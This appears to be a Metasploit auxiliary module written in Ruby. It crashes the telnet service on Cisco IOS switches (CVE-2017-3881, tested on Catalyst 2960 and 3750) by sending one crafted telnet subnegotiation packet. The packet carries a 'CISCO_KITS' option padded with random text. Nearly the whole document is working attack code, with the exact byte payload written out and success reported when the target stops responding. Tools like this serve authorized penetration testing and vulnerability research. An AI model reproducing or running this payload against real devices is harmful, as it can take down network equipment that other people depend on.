Cisco IOS Telnet Denial of Service

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco IOS Telnet Denial of Service',
        'Description' => %q{
          This module triggers a Denial of Service condition in the Cisco IOS
          telnet service affecting multiple Cisco switches. Tested against Cisco
          Catalyst 2960 and 3750.
        },
        'Author' => [ 'Artem Kondratenko' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['BID', '96960'],
          ['CVE', '2017-3881'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
          ['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
        ],
        'DisclosureDate' => '2017-03-17',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([ Opt::RPORT(23) ])
  end

  def run
    connect
    print_status 'Connected to telnet service'
    packet = sock.read(200)
    if packet.nil?
      print_error 'Failed to get initial packet from telnet service.'
    else
      print_status 'Got initial packet from telnet service: ' + packet.inspect
    end
    print_status 'Sending Telnet DoS packet'
    sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
    disconnect
  rescue ::Rex::ConnectionRefused
    print_status "Unable to connect to #{Rex::Socket.to_authority(rhost, rport)}."
  rescue ::Errno::ECONNRESET
    print_good "DoS packet successful. #{rhost} not responding."
  end
end